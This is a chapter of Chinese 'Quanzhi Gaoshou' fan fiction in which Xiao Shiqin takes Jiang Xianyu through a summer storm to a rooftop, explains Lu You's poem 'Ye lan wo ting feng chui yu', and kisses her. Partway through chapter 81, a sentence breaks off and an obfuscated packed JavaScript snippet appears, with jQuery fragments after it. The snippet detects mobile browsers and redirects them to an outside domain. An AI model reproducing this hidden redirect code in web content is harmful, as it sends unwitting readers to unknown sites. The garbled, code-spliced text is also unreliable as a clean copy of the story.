16.暴雨
作品:《[全职高手]你不要过来啊》 80.
七拐八弯的,肖时钦把她带进了一片尚未拆迁的居民区,古老的社区街道,连石缝里的野草都长得格外强健。无处不透露着和这个崭新时代脱轨的年代感。
江羡渔不知道多少年没见过这种老房子了。低矮的楼层,以及各种违规扩建的顶楼,随意支出的太阳能热水器和空调的外箱,还有奇怪的绳子从这一栋楼连接到另一栋楼的阳台上,不知名的藤蔓植物缠绕而上,像一座天然的拱门。
江羡渔跟着在肖时钦身后,边走边东张西望,觉得很新鲜。
然后肖时钦就将她带到了一个三层楼建筑的顶层,一边准备敲门一边解释:“这里住着一个退休的老中医,我爸妈时不时会来这儿找她看看身体,是个很厉害的老师,不过现在也是赋闲在家了,我们找她这儿借张桌子应该没问题。”
江羡渔挺震撼:“你的人脉分布点很广啊。”
肖时钦尴尬地笑:“巧合而已。”
几声敲门后,面前老旧却干净的防盗铁门打开了。
站在门内的奶奶并不是江羡渔想象中的那种苍老的退休医生的样子,而是一个看起来挺硬朗的奶奶,年龄应该在七十岁左右,头发还是花白的,手上拿着一颗没削完的土豆,看到他们,很惊讶地问:“小钦啊,你怎么来了?”
肖时钦熟稔地和她打招呼,喊她“毛奶奶”,然后说:“我来这附近过早,找不到位置了,来您这儿借张桌子坐。”
“过早要什么桌子,你坐路边不吃完了吗?”
“哈哈,她不太方便。”肖时钦微微让了让身子,让毛奶奶看到身后的人,介绍道,“我女朋友,正好带来给您也看看。”
毛奶奶的脸顿时更容光焕发了。
她过分热情地将他们让进屋里,又是开汽水又是端凉菜,恨不得围着江羡渔转,一会儿问她热不热,一会儿问她冷不冷,很快就像他们的亲奶奶一样,开始指责起他们的不是来——
“年纪轻轻的,腰不要露出来,小心伤了肠胃。”不等江羡渔开口,毛奶奶已经不知从哪儿变出一件外套,把她短T恤下露出的一点腰给围了起来。
“???啊?我……好吧,谢谢。”
向来以自己的ENFP人格自豪的江羡渔,此时竟然产生了一种被强大E人冲击的荒诞感。
另一边的肖时钦放下手里的碗筷,热得不行,刚刚打开冰可乐喝了一口,毛奶奶的一道眼刀就刺了过去:“少喝点碳酸饮料,容易阳痿。”
肖时钦噗的一声把可乐喷了出去。
“咳咳咳,毛奶奶!这可乐不是你拿来的吗!”
“我拿给人姑娘喝的!谁让你抢!”
“好好好……”肖时钦面红耳赤地背过身去又咳嗽了几下。
毛奶奶围着他们嘘寒问暖了好一会儿,直到肖时钦疯狂给她使眼色,这才不舍地回厨房去继续备菜了。
他们俩终于能安安静静地吃早饭。
时间事实上已经不早了,盛夏的阳光已经将地面照得发亮。
毛奶奶家的餐桌靠着一扇窗户,敞开着,扭头望出去,正好能看到一片建筑工地,在烈日下正叮叮当当地动工,几幢高楼已经初具雏形,高山一般耸立在远处。
“你先尝尝味道,这两碗粉比较喜欢哪一个?先吃不辣的吧,免得口感乱了。”肖时钦将那碗原汤宽粉推到她面前,一边说,“他们家这几十年每天都是现熬的骨汤,汤底一绝,绝对不会让人失望。”
“嗯!”江羡渔已经饿得懒得多说话,扒了两口原汤粉,感觉胃里终于有了踏实感,她停下筷子,露出感动的表情指着那碗粉,无声地表达自己的赞叹。
肖时钦哈哈笑了两声,将红油米粉也推过去,江羡渔又尝了一口,再次感动到停了筷子,脸上露出难以取舍的表情。
“哈哈哈,你都吃吧,吃不完的再给我。”肖时钦笑着将两碗粉都放到她面前,然后自己先拿着豆皮吃了起来。
两人一边吃,一边又聊起了江羡渔毕业设计的事。
“回来之后你去哪里画画?”
“我家里的书房啊。”
“你在家真的能认真画吗?”
“……不好说。”
“……小渔,你不能再耽搁下去了。”
“哎呀!你不懂,我真动笔了其实画起来很快的,主要是没有灵感我也没办法。”
“你要的到底是什么样的灵感?”肖时钦问了一个很外行的问题,惹得江羡渔皱起了鼻子。
“我要是知道的话,还找它干什么呢?”江羡渔近乎恶狠狠地咬了一口烧麦,说,“本来简单画画交差就好了,都怪我的导师,给我安排了一个很难的主题,才害我拖到现在也没办法。”
“什么主题?你毕业设计还有主题啊。”肖时钦接过她吃了一半的那碗原汤粉,然后将米酒递给她。
“诗与画。”
“这个我知道,诗中有画画中有诗,说的是王维吧。”
“你看,连你也知道吧。”
“?”肖时钦愣了愣,感觉被这句话冒犯到了。
江羡渔当然也察觉到了,赶紧摆摆手解释。
“一个主题,如果常见到连外行人都知道,那就是很难了。”说着,她沉痛地喝了口米酒,喝出了一点上刑场的气势,“谁不知道国画和诗的关系紧密啊,可是我要把什么诗情、融入什么画里呢?采菊东篱下?墙角数枝梅?春风又绿江南岸?接天莲叶无穷碧?落月摇情满江树?简单常见的这些都被画了不知多少遍了,别说超越前人了,能模仿出来都难,可是要发掘出新的东西来又哪有那么容易啊……”
肖时钦安静地听她说完,建议道:“这么说,比起练画,你更需要做的事情是读书啊。”
“……是的。”
“感觉你刚刚提的那些都是太耳熟能详的诗,有尝试过去冷门点的诗句里找灵感吗?”
“冷门点的诗句我也读不懂啊。”
“……哈哈,也是,古诗是蛮难的。”肖时钦事实上很喜欢古诗词,但他也不是会为这点优越感去打击别人的人,于是他温和地说,“我当时给自己的账号取名的时候也是翻了很多古诗词才找到满意的名字。”
“嗯?生灵灭吗?”
“不是,生灵灭是我接手的雷霆上一任队长留下的账号卡。我自己的账号卡没有卖给俱乐部。”肖时钦解释道,“不过‘生灵灭’也确实是从古诗里出来的名字,‘杀成边将名,名著生灵灭。’是李咸的《陇头行》里的句子。”
“啊,是这样啊。那你之前的账号名呢?”
“唔……”肖时钦脸上露出一丝羞赧的神色,似乎有些难以启齿的样子,然后打着哈哈扯开话题,“其实不止是我的账号,现在很多账号卡的名字都是古诗里来的,我这个也没什么特别的。”
江羡渔在这种时候最会给人台阶,她没有为难他,立刻就顺着他的话问了下去:“很多吗?我只知道‘大漠孤烟直’这个,还有哪些账号卡的名字也是古诗里的啊?”
“挺多的。我现在想得起来的大概就有……比如,江流石不转,扫地焚香闭阁眠,云山乱……这些。”
“这么说来……”江羡渔转着脑子,莫名抓住了什么东西,顺口说,“夜雨声烦,听起来也很像古诗里的词语。”
“哈哈,是很有那个感觉,但偏偏他这个不是呢。大概和巴山夜雨涨秋池有关系吧。”
“我想到的不是这句。”江羡渔努力回忆了一下,终于想起了那句诗,“我记得有一句诗是,‘夜阑卧听风吹雨,铁马冰河——’。”
随着她慢慢念出这句诗,肖时钦的眼睛也渐渐瞪大了。
轰隆!
一道惊人的雷声打断了他们,江羡渔吓得一激灵,紧接着窗外忽的刮进一阵狂风,将桌面上的饮料杯都掀翻了。
江羡渔手忙脚乱地去扶杯子、擦桌子,肖时钦则赶紧起身去关窗。
一片乌云像压境的敌军一样笼罩了天空,原本被烈日炙烤的大地忽然之间变得阴沉一片。桌上的饮料还没擦干净,暴雨就落下来了。
豆大的雨滴砸在窗玻璃上,噼里啪啦的,像子弹一样。
“这雨总算下下来了,能凉快一阵了。”毛奶奶的声音从厨房传来,“你们俩等雨停了再走吧,累了就去旁边卧室休息。”
“好,谢谢奶奶。”肖时钦回应了一声,然后盯着窗外的建筑工地看了一会儿,忽然拉起江羡渔的手,说,“我想起一个地方,要不要跟我去看?”
“啊?现在?”江羡渔看了一眼桌上还没吃完的早饭,肖时钦可不是吃饭吃一半就走神的人——除非事情真的很重要吧?
于是她点点头:“好呀,这么大的雨去哪里?”
“去看看什么是‘夜阑卧听风吹雨,铁马冰河入梦来’!”
81.
他们推门而出时,毛奶奶从厨房里探出头来,问他们这么大雨要去哪。
肖时钦回头说了一句“去顶楼。”然后加快脚步拉着江羡渔出门。
毛奶奶立刻从厨房里冲了出来,怒骂道:“臭小子瞎搞!这么大的雨怎么能去那儿!快回来!”
但她的声音被他们扔在了身后,肖时钦牵着江羡渔熟练地在老楼的走道上左拐右拐,爬上了两层楼梯,然后又将倚在墙边的一个竹梯搬了过来,对准屋顶一个封闭的天井口支了过去。
“从这里上去吗!?”江羡渔震惊又有些胆怯。
“对,放心吧,很稳的。你可以先上,我在下面托着……”话说到一半,他余光扫到江羡渔穿的裙子,狼狈地红了脸,改口道,“我、我先上去,在上面拉着你。不用怕。”
说完,他很熟练地顺着竹梯爬了上去,抬手推开封住天井的铁门,意外的,没有雨水落进来,天井上似乎支了一个棚子。
“上来吧。”肖时钦站在天井上朝她伸出手。
江羡渔半是紧张半是兴奋地顺着梯子爬了上去,爬到最上方时,她试图伸手抓住天井边缘,却不熟练地摇晃了几下,吓得叫了出来,最后几乎是被肖时钦抱了上去。
天井外是这栋楼的顶楼,但现在已经完全看不出顶楼的样子了,不知什么人在上面搭建了许多东西,有凉棚,有茶桌,还填了土种了菜,旁边还有一座水塔,水塔旁甚至搭建了一个高高的凉台,需要通过梯子爬上去。
“我们就去那里。”肖时钦指着那个凉台说。
“啊!?还要爬!?”
这次,肖时钦甚至没有再征求她的同意,拉起她的手就冒雨冲到了水塔下。
江羡渔一下子都没反应过来,这个每一次行动前都会贴心地向她反复询问“可以吗?行不行?你愿意吗?”的肖时钦,现在正强硬地将她拉进暴雨里。
夏季的暴雨又急又重,打在皮肤上甚至有点疼,肖时钦不知从哪儿摸出一块塑料板子遮在她的头顶,勉强帮她遮了会儿雨,但是等到他们顺着水塔楼梯往上爬的时候,塑料板子就也没用了。
他们冒着暴雨一路往上爬,爬到水塔楼梯的尽头,再从扶手旁翻过去,接着爬凉亭陡峭的楼梯。
在这座古旧的建筑上,江羡渔的身体被风吹得有些摇晃,只能抓紧楼梯扶手,小心翼翼地一步步往上,好不容易爬进凉亭,她几乎是扑进了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977562|177601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肖时钦的怀里,紧紧抓住他的衣服。
“太吓人了!”她斥责道,“你早说这么危险我就不上来了!”
肖时钦安抚地拍了拍她的后背,说:“哈哈,不会让你后悔的,你看那边——”
顺着肖时钦的手看过去,在暴雨下,旁边那个建筑工地仍然在运转着,只是工地上的各种灯都亮了起来,不知是什么巨型器械发出了一声轰鸣,像巨兽的低吼,震破哗哗雨声,其间还伴随着工地上叮叮当当的敲击声,以及重物落地的闷响。
一阵狂风刮来,冰凉的雨水又洒了他们满身,但他们已经不在乎这点湿了,建筑工地那头有一道惊人的紫色闪电一闪而过,紧接着又是一道轰隆的雷声骤响,将工地上的器械声轻松打败,连脚下凉亭的地面仿佛都在微微颤抖。
轰隆!
雷雨之中,江羡渔看着眼前昏暗且陆离的画面,一时呆住了,连雨水打湿了眼睛都忘了去擦。
肖时钦抬手轻轻擦去了她睫毛上的水珠,然后顺势捂住了她的眼睛。
他站在她身后,在她耳边说:“你听。”
天空中有雷霆酝酿的闷响,暴雨击打金属的密集脆声,敲击出混乱不一的声调,还有工地上嘈杂纷乱的声音,时不时的,会有人的喊声透过雨幕传来,模糊又悠长。
“夜阑卧听风吹雨。那一天陆游应该是躺在黑暗的房间里,听着暴雨敲击世界的声音。然后想象着,那雨声像什么?像战马啼鸣,像冰河乍破,让他连梦中都是厮杀的战场。”
“这里的风吹雨,不仅仅指的是眼前的风雨,陆游是南宋人,他所说的风雨,也是王朝的风雨飘摇。”肖时钦的手慢慢离开她的眼睛,在脸上却留下了他掌心的温度,江羡渔听到他继续说,“但是时代在改变,现在已经不是风雨飘摇的年代了,所以我在每一个雷雨天听雨声的时候,想起的都不是战场。”
江羡渔感觉头脑有些发晕,下意识地问:“那你想的是什么?”
肖时钦轻轻呼了一口气,声音低低落在她的耳边:“大国重器。那些风吹雨打、烈日雷霆,都无法撼动的东西。”
江羡渔往后伸了伸手,像是感知到什么一般,肖时钦准确地握住了它,然后低头看向她,正好与她的视线相交。
他露出一个隐忍的笑容,微笑背后好像压抑着混乱激动的情绪,连带着他抱着她的手臂都加重了力道。他说:“冲压生产线,船舶,熔炉,飞行器,甚至导弹,战机,航母……从风雨飘摇到风雨不可撼动,从山河入梦,到重型机械真实的轰鸣声就这样扑面来——”
像是在响应他的话一般,工地上那个不知名的巨型器械又发出了一声轰鸣,穿风破雨而来。
“我们没机会去见识那些真正的大国重器,但是我觉得,这个工地上现在的画面,能带给你类似感觉。”
乌云压盖下昏暗的世界,工地上的灯散发出刺目光芒的同时,又在业已建成的楼房之下投出光怪陆离的影子。穿破云雾的楼房,剑一般的塔吊,钢筋与混凝土那冰冷无机的坚硬味道,以及那些钢铁巨兽之上,缓慢挪动的人影。
风雨之中,不可撼动。
——夜阑卧听风吹雨。
江羡渔盯着眼前的画面,在心里默默琢磨着这句诗。
肖时钦在她身后抱着她,红着脸,终于忍不住说:“我自己的账号卡……名字就叫夜阑。”
雷雨渐小,一道阳光穿破乌云,江羡渔不自觉地深深吸了一口气,像从深水底部刚刚露头而出的溺水者。
她转过身去看肖时钦,他的衣服和头发全湿了,眼镜上都是水汽,刘海湿漉漉地耷在额头上。
她忍不住笑出声音,调皮地把他湿掉的刘海全捋到脑袋上去,然后摘下那副水雾蒙蒙的眼镜——眼前出现了一张让她感到陌生的脸。
“你是谁?”江羡渔笑着问他。
肖时钦笑了笑,接话:“初次见面,我叫肖时钦。”
“我怎么觉得突然不认识你了?”
“可能,我们都还有不为人知的一面没有让对方知道。”
“你还有吗?”
“嗯……”肖时钦思考了一下,“可能有吧。你呢?”
江羡渔笑着勾住他的脖颈,跟他打太极:“可能有吧,我也不知道。”
“那我呢?现在在你眼里,我是什么样子?”大概是摘了眼镜的缘故,肖时钦难得的一直盯着她看,没有回避视线,也没有用笑容掩盖自己的情绪。
江羡渔看着他,心里有很多话,却不知道该怎么表达出来。
她感觉到肖时钦的手轻轻环抱住了她的腰,四目相对,眼神闪烁,他们都读懂了对方传递出来的信号,在雷雨后高空呼啸的夏风中,他们吻在了一起。
82.
肖时钦是个什么样的人?
是最斯文谦和的选手,是心细如发的战术师,是认真可靠的队长,是擅长察言观色、进退有度的成年人,也是一个非常温柔包容的男朋友。
直到半个小时前,江羡渔都是这么看待他的。
却没想到,他的心中竟然藏着这么躁动的情感。坚硬的,辽阔的,充满进攻的冲动。和他平时展现出来的风貌截然不同的人格的B面。
江羡渔其实很想问他,既然有这么阔大的理想,当年为什么会选择放弃学业做一名电竞选手呢?还有,你心中那些锐利的锋芒,为什么鲜少在你的战术中表现出来呢?永远在防守反击的战术大师肖时钦,为什么要违背自己的本性去选择防守反击呢?
但是这些问题,一不小心,就被那个热烈的吻给冲散了。也不知道下次想起,会是什么时候。